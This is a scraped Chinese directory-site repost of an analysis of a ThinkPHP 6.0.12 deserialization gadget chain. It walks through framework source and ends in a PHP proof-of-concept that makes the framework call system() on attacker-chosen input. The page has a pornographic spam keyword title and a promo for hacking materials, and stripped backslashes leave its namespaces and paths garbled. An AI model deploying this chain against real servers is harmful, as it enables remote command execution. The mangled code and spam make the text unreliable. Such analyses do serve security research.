日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

環境

Thinkphp6.0.12LTS(目前最新版本);

PHP7.3.4。

安裝

composer create-project topthink/think tp6

測試代碼

Thinkphp最新版本漏洞分析

 

漏洞分析

漏洞起點不是__desturct就是__wakeup全局搜索下,起點在vendortopthinkthink-ormsrcModel.php

只要把this->lazySave設為True,就會調用了save方法。

Thinkphp最新版本漏洞分析

 

【一>所有資源關注我,私信回復“資料”獲取<一】
1、網絡安全學習路線
2、電子書籍(白帽子)
3、安全大廠內部視頻
4、100份src文檔
5、常見安全面試題
6、ctf大賽經典題目解析
7、全套工具包
8、應急響應筆記

跟進save方法,漏洞方法是updateData,但需要繞過①且讓②為True,①調用isEmpty方法。

Thinkphp最新版本漏洞分析

 

public function save(array $data = [], string $sequence = null): bool
    {
        // 數據對象賦值
        $this->setAttrs($data);
        if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
            return false;
        }
        $result = $this->exists ? $this->updateData() : $this->insertData($sequence);

跟進isEmpty方法,只要$this->data不為空就行。

Thinkphp最新版本漏洞分析

 

$this->trigger方法默認返回就不是false,跟進updateData方法。漏洞方法是checkAllowFields默認就會觸發。

Thinkphp最新版本漏洞分析

 

protected function updateData(): bool
    {
        // 事件回調
        if (false === $this->trigger('BeforeUpdate')) {
            return false;
        }
        $this->checkData();

        // 獲取有更新的數據
        $data = $this->getChangedData();

        if (empty($data)) {
            // 關聯更新
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }
            return true;
        }
        if ($this->autoWriteTimestamp && $this->updateTime) {
            // 自動寫入更新時間
            $data[$this->updateTime]       = $this->autoWriteTimestamp();
            $this->data[$this->updateTime] = $data[$this->updateTime];
        }
        // 檢查允許字段
        $allowFields = $this->checkAllowFields();

跟進checkAllowFields方法,漏洞方法是db,默認也是會觸發該方法,繼續跟進。

Thinkphp最新版本漏洞分析

 

protected function checkAllowFields(): array
    {
        // 檢測字段
        if (empty($this->field)) {
            if (!empty($this->schema)) {
                $this->field = array_keys(array_merge($this->schema, $this->jsonType));
            } else {
                $query = $this->db();

跟進db方法,存在$this->table . $this->suffix字符串拼接,可以觸發__toString魔術方法,把$this->table設為觸發__toString類即可。

Thinkphp最新版本漏洞分析

 

public function db($scope = []): Query
    {
        /** @var Query $query */
        $query = self::$db->connect($this->connection)
            ->name($this->name . $this->suffix)
            ->pk($this->pk);
        if (!empty($this->table)) {
            $query->table($this->table . $this->suffix);
        }

全局搜索__toString方法,最后選擇vendortopthinkthink-ormsrcmodelconcernConversion.php類中的__toString方法。

跟進__toString方法,調用了toJson方法。

Thinkphp最新版本漏洞分析

 

跟進toJson方法,調用了toArray方法,然后以JSON格式返回。

Thinkphp最新版本漏洞分析

 

跟進toArray方法,漏洞方法是getAtrr默認就會觸發,只需把$data設為數組就行。

Thinkphp最新版本漏洞分析

 

public function toArray(): array
    {
        $item       = [];
        $hasVisible = false;

        foreach ($this->visible as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    [$relation, $name]          = explode('.', $val);
                    $this->visible[$relation][] = $name;
                } else {
                    $this->visible[$val] = true;
                    $hasVisible          = true;
                }
                unset($this->visible[$key]);
            }
        }
        foreach ($this->hidden as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    [$relation, $name]         = explode('.', $val);
                    $this->hidden[$relation][] = $name;
                } else {
                    $this->hidden[$val] = true;
                }
                unset($this->hidden[$key]);
            }
        }

        // 合并關聯數據
        $data = array_merge($this->data, $this->relation);

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 關聯模型對象
                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
                    $val->visible($this->visible[$key]);
                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                    $val->hidden($this->hidden[$key]);
                }
                // 關聯模型對象
                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                    $item[$key] = $val->toArray();
                }
            } elseif (isset($this->visible[$key])) {
                $item[$key] = $this->getAttr($key);
            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);

跟進getAttr方法,漏洞方法是getValue,但傳入getValue方法中的$value是由getData方法得到的。

Thinkphp最新版本漏洞分析

 

public function getAttr(string $name)
    {
        try {
            $relation = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $relation = $this->isRelationAttr($name);
            $value    = null;
        }

        return $this->getValue($name, $value, $relation);

跟進getData方法,$this->data可控,$fieldName來自getRealFieldName方法。

Thinkphp最新版本漏洞分析

 

跟進getRealFieldName方法,默認直接返回傳入的參數。所以$fieldName也可控,也就是傳入getValue的$value參數可控。

Thinkphp最新版本漏洞分析

 

跟進getValue方法,在Thinkphp6.0.8觸發的漏洞點在①處,但在Thinkphp6.0.12時已經對傳入的$closure進行判斷。此次漏洞方法的getJsonValue方法。但需要經過兩個if判斷,$this->withAttr和$this->json都可控,可順利進入getJsonValue方法。

Thinkphp最新版本漏洞分析

 

protected function getValue(string $name, $value, $relation = false)
    {
        // 檢測屬性獲取器
        $fieldName = $this->getRealFieldName($name);

        if (array_key_exists($fieldName, $this->get)) {
            return $this->get[$fieldName];
        }

        $method = 'get' . Str::studly($name) . 'Attr';
        if (isset($this->withAttr[$fieldName])) {
            if ($relation) {
                $value = $this->getRelationValue($relation);
            }
            if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
                $value = $this->getJsonValue($fieldName, $value);

跟進getJsonValue方法,觸發漏洞的點在$closure($value[$key], $value)只要令$this->jsonAssoc為True就行。

$closure和$value都可控。

Thinkphp最新版本漏洞分析

 

protected function getJsonValue($name, $value)
    {
        if (is_null($value)) {
            return $value;
        }

        foreach ($this->withAttr[$name] as $key => $closure) {
            if ($this->jsonAssoc) {
                $value[$key] = $closure($value[$key], $value);

完整POP鏈條

Thinkphp最新版本漏洞分析

 

POC編寫

<?php
namespace think{
    abstract class Model{
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($obj = ''){
            $this->lazySave = True;
            $this->data = ['whoami' => ['dir']];
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['whoami' => ['system']];
            $this->json = ['whoami',['whoami']];
            $this->jsonAssoc = True;
        }
    }
}
namespace thinkmodel{
    use thinkModel;
    class Pivot extends Model{
    }
}

namespace{
    echo(base64_encode(serialize(new thinkmodelPivot(new thinkmodelPivot()))));
}

利用

Thinkphp最新版本漏洞分析

 


Thinkphp最新版本漏洞分析

 

分享到:
標簽:Thinkphp
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定